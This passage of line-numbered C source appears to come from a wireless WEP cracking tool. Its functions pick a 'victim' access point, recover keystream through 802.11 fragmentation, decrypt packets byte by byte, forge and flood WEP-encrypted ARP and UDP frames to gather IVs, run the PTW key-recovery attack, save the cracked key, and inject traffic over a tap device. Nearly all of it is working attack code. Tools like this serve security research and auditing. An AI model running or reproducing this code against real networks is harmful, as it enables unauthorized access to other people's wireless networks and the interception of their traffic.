1634 stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1636 if (get_victim_ssid(wh, rd)) {
1644 if (state >= FOUND_VICTIM) {
1647 stuff_for_us(wh, rd);
1650 // stuff in network [even for us]
1651 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1652 (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1654 ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1655 (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1657 stuff_for_net(wh, rd);
1662 void do_arp(unsigned char* buf, unsigned short op,
1663 unsigned char* m1, unsigned char* i1,
1664 unsigned char* m2, unsigned char* i2) {
1669 unsigned char* data;
1671 inet_aton(i1, &sip);
1672 inet_aton(i2, &dip);
1673 h = (struct arphdr*) buf;
1675 memset(h, 0, sizeof(*h));
1677 h->ar_hrd = htons(ARPHRD_ETHER);
1678 h->ar_pro = htons(ETHERTYPE_IP);
1681 h->ar_op = htons(op);
1683 data = (unsigned char*) h + sizeof(*h);
1685 memcpy(data, m1, 6);
1687 memcpy(data, &sip, 4);
1690 memcpy(data, m2, 6);
1692 memcpy(data, &dip, 4);
1696 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1697 unsigned char buf[4096];
1698 struct ieee80211_frame* wh;
1699 unsigned char* body;
1702 unsigned long *pcrc;
1704 unsigned short* seq;
1705 unsigned short sn, fn;
1707 wh = (struct ieee80211_frame*) buf;
1708 memcpy(wh, &fs->wh, sizeof(*wh));
1710 body = (unsigned char*) wh + sizeof(*wh);
1711 memcpy(body, &pi->iv, 3);
1713 *body++ = 0; // key index
1715 fragsize = fs->data + fs->len - fs->ptr;
1717 assert(fragsize > 0);
1719 if ( (fragsize + 4) > pi->len) {
1720 fragsize = pi->len - 4;
1721 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1725 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1728 memcpy(body, fs->ptr, fragsize);
1730 crc = crc32(0L, Z_NULL, 0);
1731 crc = crc32(crc, body, fragsize);
1732 pcrc = (unsigned long*) (body+fragsize);
1735 for (i = 0; i < (fragsize + 4); i++)
1736 body[i] ^= pi->prga[i];
1738 seq = (unsigned short*) &wh->i_seq;
1739 sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1740 fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1741 // printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1743 send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1745 seq = (unsigned short*) &fs->wh.i_seq;
1746 *seq = fnseq(++fn, sn);
1747 fs->ptr += fragsize;
1749 if (fs->ptr - fs->data == fs->len) {
1750 // printf("Finished sending frags...\n");
1751 fs->waiting_relay = 1;
1755 void prepare_fragstate(struct frag_state* fs, int pad) {
1756 fs->waiting_relay = 0;
1757 fs->len = 8 + 8 + 20 + pad;
1758 fs->data = (unsigned char*) malloc(fs->len);
1767 do_llc(fs->data, ETHERTYPE_ARP);
1768 do_arp(&fs->data[8], ARPOP_REQUEST,
1770 "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1772 memset(&fs->wh, 0, sizeof(fs->wh));
1773 fill_basic(&fs->wh);
1775 memset(fs->wh.i_addr3, 0xff, 6);
1776 fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1777 fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1778 IEEE80211_FC1_MORE_FRAG |
1781 memset(&fs->data[8+8+20], 0, pad);
1784 void discover_prga(int tx) {
1787 if (!fragstate.data) {
1790 if (prgainfo.len >= 20)
1791 pad = prgainfo.len*3;
1793 prepare_fragstate(&fragstate, pad);
1796 if (!fragstate.waiting_relay) {
1797 send_fragment(tx, &fragstate, &prgainfo);
1798 if (fragstate.waiting_relay) {
1799 if (gettimeofday(&fragstate.last, NULL) == -1)
1800 err(1, "gettimeofday()");
1805 void decrypt(int tx) {
1808 if (!decryptstate.fragstate.data) {
1809 prepare_fragstate(&decryptstate.fragstate, 0);
1811 memcpy(decryptstate.fragstate.wh.i_addr3,
1814 decryptstate.fragstate.wh.i_addr3[5] =
1815 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1817 decryptstate.prgainfo.len++;
1820 // guess diff prga byte...
1821 if (decryptstate.fragstate.waiting_relay) {
1822 unsigned short* seq;
1823 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1826 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1827 printf("Can't decrpyt!\n");
1831 decryptstate.fragstate.wh.i_addr3[5] =
1832 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1834 decryptstate.fragstate.waiting_relay = 0;
1835 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1837 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1838 *seq = fnseq(0, txstate.psent);
1841 send_fragment(tx, &decryptstate.fragstate,
1842 &decryptstate.prgainfo);
1845 void flood_inet(tx) {
1846 static int send_arp = -1;
1847 static unsigned char arp_pkt[128];
1849 static unsigned char udp_pkt[128];
1851 static struct timeval last_ip;
1853 // need to init packets...
1854 if (send_arp == -1) {
1855 unsigned char* body;
1857 struct ieee80211_frame* wh;
1861 memset(arp_pkt, 0, sizeof(arp_pkt));
1862 memset(udp_pkt, 0, sizeof(udp_pkt));
1865 wh = (struct ieee80211_frame*) arp_pkt;
1868 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1869 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1870 memset(wh->i_addr3, 0xff, 6);
1872 body = (unsigned char*) wh + sizeof(*wh);
1876 do_llc(ptr, ETHERTYPE_ARP);
1878 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1879 "\x00\x00\x00\x00\x00\x00", netip);
1881 wepify(body, 8+8+20);
1882 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1883 assert(arp_len < sizeof(arp_pkt));
1887 wh = (struct ieee80211_frame*) udp_pkt;
1890 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1891 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1892 memcpy(wh->i_addr3, rtrmac, 6);
1894 body = (unsigned char*) wh + sizeof(*wh);
1898 do_llc(ptr, ETHERTYPE_IP);
1901 ih = (struct ip*) ptr;
1905 ih->ip_len = htons(20+8+5);
1906 ih->ip_id = htons(666);
1909 ih->ip_p = IPPROTO_UDP;
1912 inet_aton(myip, &ih->ip_src);
1913 inet_aton(floodip, &ih->ip_dst);
1915 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1918 uh = (struct udphdr*) ptr;
1919 uh->uh_sport = htons(floodsport);
1920 uh->uh_dport = htons(floodport);
1921 uh->uh_ulen = htons(8+5);
1925 strcpy(ptr, "sorbo");
1927 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1930 wepify(body, 8+20+8+5);
1931 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1932 assert(udp_len < sizeof(udp_pkt));
1937 memset(&last_ip, 0, sizeof(last_ip));
1940 if (send_arp == 1) {
1944 if (gettimeofday(&now, NULL) == -1) {
1945 perror("gettimeofday()");
1949 sec = now.tv_sec - last_ip.tv_sec;
1954 send_frame(tx, arp_pkt, arp_len);
1958 else if (send_arp == 0) {
1959 if (gettimeofday(&last_ip, NULL) == -1) {
1960 perror("gettimeofday()");
1964 send_frame(tx, udp_pkt, udp_len);
1969 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1970 unsigned char* srcmac, unsigned char* dstip,
1971 unsigned char* dstmac) {
1973 static unsigned char arp_pkt[128];
1974 unsigned char* body;
1976 struct ieee80211_frame* wh;
1979 memset(arp_pkt, 0, sizeof(arp_pkt));
1982 wh = (struct ieee80211_frame*) arp_pkt;
1985 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1986 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1987 memset(wh->i_addr3, 0xff, 6);
1989 body = (unsigned char*) wh + sizeof(*wh);
1993 do_llc(ptr, ETHERTYPE_ARP);
1995 do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1997 wepify(body, 8+8+20);
1998 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1999 assert(arp_len < sizeof(arp_pkt));
2001 send_frame(tx, arp_pkt, arp_len);
2004 void can_write(int tx) {
2005 static char arp_ip[16];
2010 state = SENDING_AUTH;
2015 state = SENDING_ASSOC;
2019 if (prgainfo.prga && prgainfo.len < min_prga) {
2024 if (decryptstate.cipher) {
2033 send_frame(tx, taptx, taptx_len);
2038 // try to find rtr mac addr
2039 if (netip && !rtrmac) {
2042 strcpy(arp_ip, netip);
2044 ptr = strchr(arp_ip, '.');
2046 ptr = strchr(++ptr, '.');
2048 ptr = strchr(++ptr, '.');
2053 if (gettimeofday(&arpsend, NULL) == -1)
2054 err(1, "gettimeofday()");
2056 time_print("Sending arp request for: %s\n", arp_ip);
2057 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2058 arp_ip, "\x00\x00\x00\x00\x00\x00");
2061 rtrmac = (unsigned char*)1;
2065 // need to generate traffic...
2066 if (rtrmac > (unsigned char*)1 && netip) {
2070 // XXX lame technique... anyway... im
2071 // only interested in flood_inet...
2073 // could ping broadcast....
2074 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2075 arp_ip, "\x00\x00\x00\x00\x00\x00");
2085 void save_key(unsigned char *key, int len)
2092 assert(len*3 < sizeof(k));
2096 sprintf(tmp, "%.2X", *key++);
2102 fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2106 printf("\nKey: %s\n", k);
2107 rd = write(fd, k, strlen(k));
2110 if (rd != strlen(k))
2111 errx(1, "write %d/%d\n", rd, strlen(k));
2115 #define KEYLIMIT (1000000)
2118 unsigned char key[PTW_KEYHSBYTES];
2120 if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2124 if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2135 time_print("Warning... previous crack still running!\n");
2140 if (fsync(weplog.fd) == -1)
2146 if (crack_pid == -1)
2150 if (crack_pid == 0) {
2152 printf("\nCrack unsuccessful\n");
2158 time_print("Starting crack PID=%d\n", crack_pid);
2159 if (gettimeofday(&crack_start, NULL) == -1)
2160 err(1, "gettimeofday");
2163 wep_thresh += thresh_incr;
2171 tapfd = open(TAP_DEV, O_RDWR);
2173 printf("Can't open tap: %s\n", strerror(errno));
2177 // Get TAP interface name
2178 memset(&ifr, 0, sizeof(ifr));
2179 if (ioctl(tapfd, TAPGIFNAME, &ifr) == -1) {
2180 perror("ioctl(TAPGIFNAME)");
2183 strlcpy(tapifname, ifr.ifr_name, IFNAMSIZ);
2185 s = socket(PF_INET, SOCK_DGRAM, 0);
2192 memset(&ifr, 0, sizeof(ifr));
2193 strlcpy(ifr.ifr_name, tapifname, IFNAMSIZ);
2195 if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2196 perror("ioctl(SIOCSIFMTU)");
2201 memset(&ifr, 0, sizeof(ifr));
2202 strlcpy(ifr.ifr_name, tapifname, IFNAMSIZ);
2203 if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2204 perror("ioctl(SIOCGIFFLAGS)");
2208 flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2211 memset(&ifr, 0, sizeof(ifr));
2212 strlcpy(ifr.ifr_name, tapifname, IFNAMSIZ);
2213 ifr.ifr_flags = flags & 0xffff;
2214 ifr.ifr_flagshigh = flags >> 16;
2215 if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2216 perror("ioctl(SIOCSIFFLAGS)");
2221 time_print("Opened tap device: %s\n", tapifname);
2225 unsigned char buf[4096];
2226 struct ether_header* eh;
2227 struct ieee80211_frame* wh;
2229 unsigned char* ptr, *body;
2232 rd = read(tapfd, buf, sizeof(buf));
2237 dlen = rd - sizeof(*eh);
2241 if (dlen+8 > prgainfo.len) {
2243 // XXX lame message...
2244 time_print("Sorry... want to send %d but only got %d prga\n",
2245 dlen, prgainfo.len);
2252 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2253 // XXX could not read instead and get rid of it in select...
2256 assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2258 eh = (struct ether_header*) buf;
2260 wh = (struct ieee80211_frame*) taptx;
2261 memset(wh, 0, sizeof(*wh));
2264 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2265 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2267 memcpy(wh->i_addr2, eh->ether_shost, 6);
2268 memcpy(wh->i_addr3, eh->ether_dhost, 6);
2270 body = (unsigned char*) wh + sizeof(*wh);
2274 do_llc(ptr, ntohs(eh->ether_type));
2277 memcpy(ptr, &buf[sizeof(*eh)], dlen);
2279 wepify(body, 8+dlen);
2280 taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2282 assert (taptx_len < sizeof(taptx));
2285 int elapsedd(struct timeval *past, struct timeval *now)
2289 el = now->tv_sec - past->tv_sec;
2292 el = now->tv_usec - past->tv_usec;
2294 el = (el - 1)*1000*1000;
2295 el += 1000*1000-past->tv_usec;
2302 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2304 #define BIT(n) (1<<(n))
2305 struct bpf_hdr *bpfh;
2306 struct ieee80211_radiotap_header *rth;
2310 static int nocrc = 0;
2315 bpfh = (struct bpf_hdr*) (*data);
2316 assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2317 *totlen -= bpfh->bh_hdrlen;
2319 /* check if more packets */
2320 if ((int)bpfh->bh_caplen < *totlen) {
2321 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2322 int offset = BPF_WORDALIGN(tot);
2324 *data = (char*)bpfh + offset;
2325 *totlen -= offset - tot; /* take into account align bytes */
2326 } else if ((int)bpfh->bh_caplen > *totlen)
2329 *plen = bpfh->bh_caplen;
2330 *totlen -= bpfh->bh_caplen;
2331 assert(*totlen >= 0);
2334 rth = (struct ieee80211_radiotap_header*)
2335 ((char*)bpfh + bpfh->bh_hdrlen);
2336 /* XXX cache; drivers won't change this per-packet */
2337 /* check if FCS/CRC is included in packet */
2338 present = le32toh(rth->it_present);
2339 if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2340 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2341 rflags = ((const uint8_t *)rth)[8];
2343 rflags = ((const uint8_t *)rth)[0];
2346 *plen -= rth->it_len;
2350 if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2351 *plen -= IEEE80211_CRC_LEN;
2355 ptr = (char*)rth + rth->it_len;
2361 static int read_packet(int fd, unsigned char *dst, int len)
2363 static unsigned char buf[4096];
2364 static int totlen = 0;
2365 static unsigned char *next = buf;
2371 /* need to read more */
2373 totlen = read(fd, buf, sizeof(buf));
2381 /* read 802.11 packet */
2382 pkt = get_80211(&next, &totlen, &plen);
2386 memcpy(dst, pkt, plen);
2391 void own(int wifd) {
2392 unsigned char buf[4096];
2396 char *pbar = "/-\\|";
2397 char *pbarp = &pbar[0];
2398 struct timeval lasthop;
2400 unsigned int last_wep_count = 0;
2401 struct timeval last_wcount;
2402 struct timeval last_status;
2406 weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2407 if (weplog.fd == -1) {
2408 struct pcap_file_header pfh;
2410 memset(&pfh, 0, sizeof(pfh));
2411 pfh.magic = TCPDUMP_MAGIC;
2412 pfh.version_major = PCAP_VERSION_MAJOR;
2413 pfh.version_minor = PCAP_VERSION_MINOR;
2416 pfh.snaplen = 65535;
2417 pfh.linktype = LINKTYPE_IEEE802_11;
2419 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2420 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2421 if (weplog.fd != -1) {
2422 if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2427 time_print("WARNING: Appending in %s\n", WEP_FILE);
2430 if (weplog.fd == -1) {
2435 fd = open(PRGA_FILE, O_RDONLY);
2437 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2438 rd = read(fd, buf, sizeof(buf));
2444 set_prga(buf, NULL, &buf[3], rd - 3);
2450 fd = open(DICT_PATH, O_RDONLY);
2452 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2453 if (mkdir (DICT_PATH, 0755) == -1) {
2462 set_if_mac(mymac, tapdev);
2463 time_print("Set tap MAC to: %s\n", mac2str(mymac));
2470 if (signal(SIGINT, &cleanup) == SIG_ERR) {
2474 if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2479 time_print("Looking for a victim...\n");
2480 if (gettimeofday(&lasthop, NULL) == -1) {
2481 perror("gettimeofday()");
2485 memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2486 memcpy(&last_status, &lasthop, sizeof(last_status));
2489 if (gettimeofday(&now, NULL) == -1) {
2490 perror("gettimeofday()");
2494 /* check for relay timeout */
2495 if (fragstate.waiting_relay) {
2498 el = now.tv_sec - fragstate.last.tv_sec;
2501 el = now.tv_usec - fragstate.last.tv_usec;
2506 el += 1000*1000 - fragstate.last.tv_usec;
2509 if (el > (1500*1000)) {
2510 // printf("\nLAMER timeout\n\n");
2511 free(fragstate.data);
2517 /* check for arp timeout */
2518 if (rtrmac == (unsigned char*) 1) {
2521 el = elapsedd(&arpsend, &now);
2522 if (el >= (1500*1000)) {
2528 if ( (now.tv_sec > last_status.tv_sec ) ||
2529 ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2530 if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2533 if (netip && prgainfo.len >= min_prga &&
2534 rtrmac > (unsigned char*) 1) {
2535 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r",
2536 weplog.packets, wep_thresh,
2537 weplog.iv[0], weplog.iv[1], weplog.iv[2],
2542 if (state == FIND_VICTIM)
2543 time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2544 else if (decryptstate.cipher) {
2545 int pos = decryptstate.prgainfo.len - 1;
2546 unsigned char prga = decryptstate.prgainfo.prga[pos];
2549 time_print("Guessing PRGA %.2x (IP byte=%d) \r",
2550 prga, decryptstate.cipher[pos] ^ prga);
2553 time_print("%c\r", *pbarp);
2556 memcpy(&last_status, &now,sizeof(last_status));
2559 // check if we are cracking
2561 if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2565 // check TX / retransmit
2566 if (txstate.waiting_ack) {
2567 unsigned int elapsed = now.tv_sec -
2568 txstate.tsent.tv_sec;
2569 elapsed *= 1000*1000;
2570 elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2572 if (elapsed >= ack_timeout)
2573 send_frame(wifd, NULL, -1);
2580 FD_SET(tapfd, &rfd);
2582 tv.tv_usec = 1000*10;
2583 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2592 if (FD_ISSET(wifd, &rfd)) {
2593 rd = read_packet(wifd, buf, sizeof(buf));
2605 anal(buf, rd, wifd);
2609 if (FD_ISSET(tapfd, &rfd)) {
2614 // check state and what we do next.
2615 if (state == FIND_VICTIM) {
2616 if (now.tv_sec > lasthop.tv_sec ||
2617 ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2618 int chan = chaninfo.chan;
2625 memcpy(&lasthop, &now, sizeof(lasthop));
2628 // check if we need to write something...
2629 if (!txstate.waiting_ack)
2634 #ifdef MORE_ACCURATE
2635 if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2636 unsigned int elapsed;
2638 int packetz = weplog.packets - last_wep_count;
2639 elapsed = 1000*1000;
2641 elapsed -= last_wcount.tv_usec;
2643 assert(elapsed >= 0);
2644 elapsed += now.tv_usec;
2646 secs = now.tv_sec - last_wcount.tv_sec;
2649 elapsed += (secs*1000*1000);
2652 ((double)packetz/(elapsed/1000.0/1000.0));
2654 if ( now.tv_sec > last_wcount.tv_sec) {
2655 weplog.rate = weplog.packets - last_wep_count;
2657 last_wep_count = weplog.packets;
2658 memcpy(&last_wcount, &now, sizeof(now));
2660 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2667 void start(char *dev) {
2672 fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2674 ptw = PTW_newattackstate();
2676 err(1, "PTW_newattackstate()");
2685 for (i = 0; i < 10; i++) {
2686 gettimeofday(&tv, NULL);
2690 printf("%lu\n", tv.tv_usec);
2699 void usage(char* pname) {
2700 printf("Usage: %s <opts>\n", pname);
2701 printf("-h\t\tthis lame message\n");
2702 printf("-i\t\t<iface>\n");
2703 printf("-s\t\t<flood server ip>\n");
2704 printf("-m\t\t<my ip>\n");
2705 printf("-n\t\t<net ip>\n");
2706 printf("-r\t\t<rtr mac>\n");
2707 printf("-a\t\t<mymac>\n");
2708 printf("-c\t\tdo not crack\n");
2709 printf("-p\t\t<min prga>\n");
2710 printf("-4\t\t64 bit key\n");
2711 printf("-v\t\tvictim mac\n");
2712 printf("-t\t\t<crack thresh>\n");
2713 printf("-f\t\t<max chan>\n");
2717 void str2mac(unsigned char* dst, unsigned char* mac) {
2718 unsigned int macf[6];
2721 if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2722 &macf[0], &macf[1], &macf[2],
2723 &macf[3], &macf[4], &macf[5]) != 6) {
2725 printf("can't parse mac %s\n", mac);
2729 for (i = 0; i < 6; i++)
2730 *dst++ = (unsigned char) macf[i];
2733 int main(int argc, char *argv[]) {
2734 unsigned char* dev = "ath0";
2735 unsigned char rtr[6];
2736 unsigned char vic[6];
2740 if (gettimeofday(&real_start, NULL) == -1) {
2741 perror("gettimeofday()");
2749 memset(&txstate, 0, sizeof(txstate));
2750 memset(&fragstate, 0, sizeof(fragstate));
2751 memset(&decryptstate, 0, sizeof(decryptstate));
2752 memset(&weplog, 0, sizeof(weplog));
2754 state = FIND_VICTIM;
2756 while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2759 str2mac(mymac, optarg);
2771 strncpy(myip, optarg, sizeof(myip)-1);
2772 myip[sizeof(myip)-1] = 0;
2781 str2mac(rtr, optarg);
2786 str2mac(vic, optarg);
2795 min_prga = atoi(optarg);
2799 thresh_incr = wep_thresh = atoi(optarg);
2803 max_chan = atoi(optarg);
2818 if(chaninfo.s != -1)